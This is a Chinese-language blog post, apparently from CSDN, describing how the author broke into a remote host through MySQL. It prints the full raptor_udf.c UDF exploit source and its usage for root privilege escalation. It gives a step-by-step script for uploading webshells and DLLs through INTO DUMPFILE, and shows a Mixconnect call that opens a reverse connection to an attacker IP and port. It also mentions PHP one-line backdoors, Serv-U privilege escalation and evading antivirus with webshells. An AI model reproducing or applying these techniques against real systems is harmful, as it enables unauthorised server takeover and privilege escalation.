关闭

利用mysql上传和执行文件

标签: mysqlsystemdllfunctionintegerstring
4996人阅读 评论(0) 收藏 举报
分类:

        本来一直以为利用mysql就只能导出webshell,但是前一段时间无意中发现了一篇文章《Windows下通过MySQL以SYSTEM身份执行系统命令》,于是再继续搜索了一下相关的文章。

       其中上传文件是利用了mysql命令“SELECT * FROM mix INTO DUMPFILE 'c://abc.dll';”(以前导文本我都只是用select * from tablename into outfile 'c://abc.txt'),想不到可以导出二进制文件。

       至于执行命令,是利用了mysql的自定义过程来实现的。查了下,一个简单符合mysql的dll是如下格式的:

[code]

/*
 * $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
 *
 * raptor_udf.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation through
 * MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
 *
 * Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
 *
 * "MySQL provides a mechanism by which the default set of functions can be
 * expanded by means of custom written dynamic libraries containing User
 * Defined Functions, or UDFs". -- Hackproofing MySQL
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
 * mysql> create function do_system returns integer soname 'raptor_udf.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+---------------+----------+
 * | name      | ret | dl            | type     |
 * +-----------+-----+---------------+----------+
 * | do_system |   2 | raptor_udf.so | function |
 * +-----------+-----+---------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> /! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
 unsigned int  arg_count; // number of arguments
 enum Item_result *arg_type; // pointer to item_result
 char    **args;  // pointer to arguments
 unsigned long  *lengths; // length of string args
 char   *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
 char   maybe_null; // 1 if func can return NULL
 unsigned int  decimals; // for real functions
 unsigned long   max_length; // for string functions
 char   *ptr;  // free ptr for func data
 char   const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
 if (args->arg_count != 1)
  return(0);

 system(args->args[0]);

 return(0);
}
[/code]

呵呵,好简单,(在VC下编译,好像是cl /LD abc.c,对VC我不熟悉,没办法)

 不过,按照网上说法,是要转到mysql表中创建二进制表格和导出才可以成功,在test下可能不成功。

但是我几次导出都不成功,甚至是把二进制文件导出来都会有错,(其中部分会出乱码)。

因为我一开始时犯了点错误,我用mysql客户端,进入mysql命令提示行下后,粘贴dll文件,但是总是会粘贴不了那么,所以导致文件不齐全。这个问题困扰了我好长时间,因为在即使修改windows的console窗口的缓冲区大小也是不行,后来甚至想到使用fterm通过linux下的mysql客户端进行,结果也是失败。最终才发现自己是多么的愚笨,其实mysql是有导入mysql命令的功能的,也就是可以使用mysql -u root -h hostname -p < script.txt,把这些代码导入去的,也就不存在代码过长无法粘贴的问题。第二个遇到的问题,是即使导入的数据正确,但导出的二进制数据的最前端会无故多出半个字节(8Bit)的0,也就是假如是使用<php这样的挖出,ascii码本来是"0x3C3F7068",但是导出后一看,居然变成了0x03C3F7068,也就是真个文件全变了!晕倒,怎么别人没有遇到这样的情况呢!因为我对导出dll文件再提权信心不大,所以就想先导出个webshell再说,因为webshell是文本来的,假如是多了一个空格等也不会出错,所以我就在phpspy的最前面加了个空格,这样二进制就变成了0x203CF7068,结果导出后一切正常,真是怪异极了,不过,起码可以用了。(但是导出成dll文件就有问题了--总不成在dll前出也加个空格吧)
 第三个问题:我在本地测试,把下回来的mix.dll放在mysql可以访问的目录下,然后"create function myconnect returns integer soname 'c://mix.dll';,结果返回说no paths allow for the share libraly,(大意如此,具体字符忘记了),上网一查,结果又找到另一个具说的漏洞,说是mysql中在载入自定义函数dll时,会检查是否存在“/”,如果存在则不让加载,漏洞的表述意思是可以往mysql.func中直接插入自定义函数的路径和函数名,然后强迫mysql重启,重启后的mysql将不会检查mysql.func中的路径,只可惜我在本地测试还是没有成功。重启后再使用自定义函数,还是提示函数没有定义,可能是我使用的mysql版本已经没有这个漏洞了,不过,反正我在本地测试自定义函数的提权是失败了。不过,总算还好,使用导出二进制代码的方法可以在远程得到一个phpspy的webshell。

      归纳上传办法如下:(虽然我直接导出不有错误)

     一、新建文件script.txt,内容如下

            use mysql;
            DROP TABLE IF EXISTS mix;
            create table mix(data LONGBLOB);
           set @a=                                 //这里先空开,等下粘贴内容过来
           INSERT into mix values (CONVERT(@a,CHAR));
           SELECT * FROM mix INTO DUMPFILE '远方主机目录和文件名,注意用/转义路径;
           drop table mix;

    二、  使用winhex打开要上传的文件,然后copy all -> hex value,粘贴到刚才那个set @a=后面,这样就变成了定义一个变量@a,值就是那个文件的值了。

    三、在myql客户端执行 mysql -u root -h 远程主机 -p <script.txt,在随后输入root密码,就可以在远程主机成功的上传了一个文件。

   

    导出dll和执行的步骤据介绍是这样的。http://blog.donews.com/swap/archive/2005/12/10/652990.aspx

   一、先用上面的办法导出一个mix.dll(mix.dll自己找)

  二、CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C://Mix.dll';/*注意修改文件地址
          select Mixconnect('127.0.0.1','886');/*注意修改反连回来的IP地址和端口号

 

   ps:本来上传webshell是不需要用到这么麻烦的,但是刚好测试的目标主机web user没有什么权限,上传文件等代码都不成功,虽然导出了一句话木马,但是居然不能执行,它原本的php上传文件功能也不行(估计是主机的权限发生了变化后管理员没有设置好,导致上传到临时目录后没有权限把文件写回web目录。直接导其它一点稍微大点的木马时,似乎是一碰到中文或单引号或"/"之类的转义符就会出错,导致导出的木马不能被执行。 好不容易导出一个servU的本地提权php文件,似乎可以执行,但是最终没有效果。(后来估计可能还是哪里导出时被改变了)。最终只好用这个方法来导phpspy2006了--(呵呵,正好前段时间发觉asp和php木马免杀其实是件非常容易的事),导出webshell后,发现web目录下web user是没有写权限,不过servU提权却非常顺利的成功了。终于搞掂,学到了点关于mysql入侵的知识。不过始终想不能当初导出的<?php system($cmd); ?>这样的代码为什么只能dir c:,一到dir c:/inetpub之类的都不行,但实际上是有权限读取的。

 

     

 

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:221023次
    • 积分:3496
    • 等级:
    • 排名:第9849名
    • 原创:123篇
    • 转载:16篇
    • 译文:1篇
    • 评论:21条
    文章分类
    最新评论